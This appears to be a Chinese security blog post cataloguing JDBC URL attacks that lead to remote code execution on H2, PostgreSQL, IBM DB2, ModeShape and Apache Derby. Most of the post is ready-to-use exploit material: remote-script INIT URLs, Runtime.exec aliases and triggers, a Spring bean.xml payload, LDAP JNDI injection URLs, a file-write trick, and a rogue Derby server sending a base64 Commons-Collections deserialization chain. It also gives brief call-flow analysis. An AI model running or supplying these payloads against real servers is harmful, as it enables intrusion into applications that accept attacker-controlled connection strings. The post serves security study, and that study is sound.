October 1, 2023

JDBC-Attack 利用汇总

前言

johan5.jpg
JDBC的路漫漫,之前只学过mysql的JDBC RCE,趁此机会补一下

H2 RCE

H2数据库是之前不怎么见到过的一款数据库,之前都不清楚可以RCE,但从最近爆出的MetaBase 2023 的CVE来看还是挺重要的,所以趁着这个机会给他一起学一下。

INIT RunScript RCE

在H2数据库进行初始化的时候或者当我们可以控制JDBC链接时即可完成RCE,并且有很多利用,首先就是INIT,进行H2连接的时候可以执行一段SQL脚本,我们可以构造恶意的脚本去RCE
poc.sql

1
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CALL EXEC ('calc')

然后在初始化的时候指定JDBC链接为

1
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'

其中INIT=RUNSCRIPT FROM '[http://127.0.0.1:8000/poc.sql'](http://127.0.0.1:8000/poc.sql')就会去获取恶意的sql脚本,进而RCE
image.png
不出意外完美的RCE了~

Alias Script RCE

假如可以执行任意H2 SQL的语句,那么也可以完成RCE,其实上述的INIT实质上也就是执行任意H2的sql语句。而执行语句也有很多讲究。对于上述的INIT需要出网,而我们可以利用加载字节码达到不出网RCE的效果,类似于SPEL以及OGNL注入内存马。

1
2
3
4
5
6
//创建别名
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;

//调用SHELLEXEC执行命令
CALL SHELLEXEC('id');
CALL SHELLEXEC('whoami');

image.png
这样也可以RCE,所以H2的攻击面是很多的

TRIGGER Script RCE

除了Alias别名还可以用TRIGGER去手搓groovy或者js代码去rce,但是groovy依赖一般都是不会有的,所以js是更加通用的选择。
image.png

1
2
3
private static boolean isGroovySource(String var0) {
return var0.startsWith("//groovy") || var0.startsWith("@groovy");
}

这里是groovy执行命令的逻辑,对应的exp是

1
2
3
Class.forName("org.h2.Driver");
String groovy = "@groovy.transform.ASTTest(value={" + " assert java.lang.Runtime.getRuntime().exec(\"calc\")" + "})" + "def x";
String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '" + groovy + "'";

然后就是最常用的JS代码了,我们也可以利用JS加载内存马,但是要看是什么中间件

1
2
3
CREATE TRIGGER poc2 BEFORE SELECT ON
INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec("calc") $$;

假如你想加载内存马你可以参考https://blog.csdn.net/qq_45603443/article/details/126698982
这是基于SpringBoot的内存马

Mysql JDBC RCE

年轻时期的pop早已学习
WebDog必学的JDBC反序列化
mysql的JDBC反序列化是最常见的。。。

PostgreSQL JDBC RCE

socketFactory/socketFactoryArg RCE

POP只在CTFSHOW的题目稍稍微微的看到了一下,这就来复现分析一波~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.javasec.jdbc.postgres;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;


public class PsqlJDBCRCE {
public static void main(String[] args) throws SQLException {
String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
String socketFactoryArg = "http://127.0.0.1:8000/bean.xml";
String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test/?socketFactory="+socketFactoryClass+ "&socketFactoryArg="+socketFactoryArg;
Connection connection = DriverManager.getConnection(jdbcUrl);
}
}

1
2
3
4
5
<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.3.1</version>
</dependency

bean.xml

1
2
3
4
5
6
7
8
9
10
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg value="calc.exe" />
<property name="whatever" value="#{ pb.start() }"/>
</bean>
</beans>

image.png
利用到了一个类,之前学spring经常用到的,操控bean的类,ClassPathXmlApplicationContext.class

调用流程

先知社区其实有一个很好理解的图
image.png
在psql的jdbc初始化的时候会读取jdbc链接里的某个参数,并且进行一些操作。
image.png
首先进入这个connect方法。随后进入makeconnect,携带2个参数,url和props,分别如下
image.png
重点关注一下socketFactory的参数以及socketFactoryargs这两个参数,他们最后会进行实例化相关的操作。
image.png
image.png
image.png
image.png
以上四步都是一些初始化准备过程,然后接下来会进入到ObjectFactory.instantiate方法,在这里进行实例化相关操作
image.png
image.png
实例化了刚刚说的CPX类,读取一个xml文件,实例化某个bean,导致了RCE

socketFactory/socketFactoryArg RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.javasec.jdbc.postgres;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;


public class PsqlJDBCRCE {
public static void main(String[] args) throws SQLException {
String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
String socketFactoryArg = "http://127.0.0.1:8000/bean.xml";
String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test/?sslfactory="+socketFactoryClass+ "&sslfactory="+socketFactoryArg;
Connection connection = DriverManager.getConnection(jdbcUrl);
}
}

其余不变,原理一模一样,代替品
但是好像需要密码认证?

loggerLevel/loggerFile 任意文件写入

这个也是需要密码的。实用性也不是很大

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package com.javasec.jdbc.postgres;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;


public class PsqlJDBCRCE {
public static void main(String[] args) throws SQLException {
String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
String socketFactoryArg = "http://127.0.0.1:8000/bean.xml";
String loggerLevel = "debug";
String loggerFile = "test.txt";
String shellContent="test";
//String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test/?socketFactory="+socketFactoryClass+ "&socketFactoryArg="+socketFactoryArg;
//String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test/?sslfactory="+socketFactoryClass+ "&sslfactoryarg="+socketFactoryArg;
String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+ "&"+shellContent;
Connection connection = DriverManager.getConnection(jdbcUrl);
}
}

IBM DB2 JDBC JNDI RCE

1
2
3
4
5
<dependency>
<groupId>com.ibm.db2</groupId>
<artifactId>jcc</artifactId>
<version>11.5.0.0</version>
</dependency>

首先是环境搭建,需要搭建一个DB2的数据库,这里我就直接拉docker了。
docker pull ibmcom/db2express-c:latest
docker run -d --name db2 --privileged=true -p 50000:50000 -e DB2INST1_PASSWORD=db2admin -e LICENSE=accept ibmcom/db2express-c db2start

1
2
3
4
5
6
7
8
9
10
11
package com.javasec.jdbc.DB2;

import java.sql.DriverManager;

public class DB2JDBCRCE {
public static void main(String[] args) throws Exception {
Class.forName("com.ibm.db2.jcc.DB2Driver");
DriverManager.getConnection("jdbc:db2://127.0.0.1:50000/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:1389/fgfhjn;");
}
}

image.png

流程分析

入口点也是connect方法(com.ibm.db2.jcc)
image.png
然后一系列的预处理后就进入了run方法,run方法里面有lookup(com.ibm.db2.jcc.am)
image.png
然后自然就JNDI了

ModeShape JDBC JNDI RCE

1
2
3
4
5
<dependency>
<groupId>org.modeshape</groupId>
<artifactId>modeshape-jdbc</artifactId>
<version>5.4.1.Final</version>
</dependency>

这个也和上面的一样是JNDI注入。

1
2
3
4
5
6
7
8
9
10
11
12
package com.javasec.jdbc.ModeShape;

import java.sql.DriverManager;
import java.sql.SQLException;

public class Demo {
public static void main(String[] args) throws ClassNotFoundException, SQLException {
Class.forName("org.modeshape.jdbc.LocalJcrDriver");
DriverManager.getConnection("jdbc:jcr:jndi:ldap://127.0.0.1:1389/q2s3n8");
}
}

image.png

流程分析

首先也是connect起步
image.png
其中repositoryDelegate.createConnection后续会做一些处理
image.png
initReposity方法
image.png
lookup触发

Apache Derby

1
2
3
4
5
<dependency>
<groupId>org.apache.derby</groupId>
<artifactId>derby</artifactId>
<version>10.10.1.1</version>
</dependency>

evilserver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static void main(String[] args) throws Exception {
// 监听端口,默认 4444,可以指定
int port = 4444;
ServerSocket server = new ServerSocket(port);
Socket socket = server.accept();

// CC6
String evil="rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADYWFhc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAEc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXB0AAlnZXRNZXRob2R1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABxzcQB+ABN1cQB+ABgAAAACcHB0AAZpbnZva2V1cQB+ABwAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXEAfgAYAAAAAXQABGNhbGN0AARleGVjdXEAfgAcAAAAAXEAfgAfc3EAfgAAP0AAAAAAAAx3CAAAABAAAAAAeHh0AANiYmJ4";
byte[] decode = Base64.getDecoder().decode(evil);

// 直接向 socket 中写入
socket.getOutputStream().write(decode);
socket.getOutputStream().flush();
Thread.sleep(TimeUnit.SECONDS.toMillis(5));
socket.close();
server.close();
}

demo

1
2
3
4
5
6
7
8
9
10
11
12
package com.javasec.jdbc.Derby;

import java.sql.DriverManager;

public class demo {
public static void main(String[] args) throws Exception{
Class.forName("org.apache.derby.jdbc.EmbeddedDriver");
//DriverManager.getConnection("jdbc:derby:dbname;create=true");
DriverManager.getConnection("jdbc:derby:dbname;startMaster=true;slaveHost=127.0.0.1");
}
}

先用create=true创建一个。才可以进行下一步
image.png

流程分析

image.png
ReplicationMessageTransmit$MasterReceiverThread内部类中有一个readMessage方法,在进行连接时会直接反序列化数据流
image.png

SQLITE

这个我就不想多讲了,没有啥利用点基本,load_extension默认是关闭的,只可以进行SSRF,鸡肋。

结尾

至此JDBC-ATTACK就告一段落了~

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#Java#CTF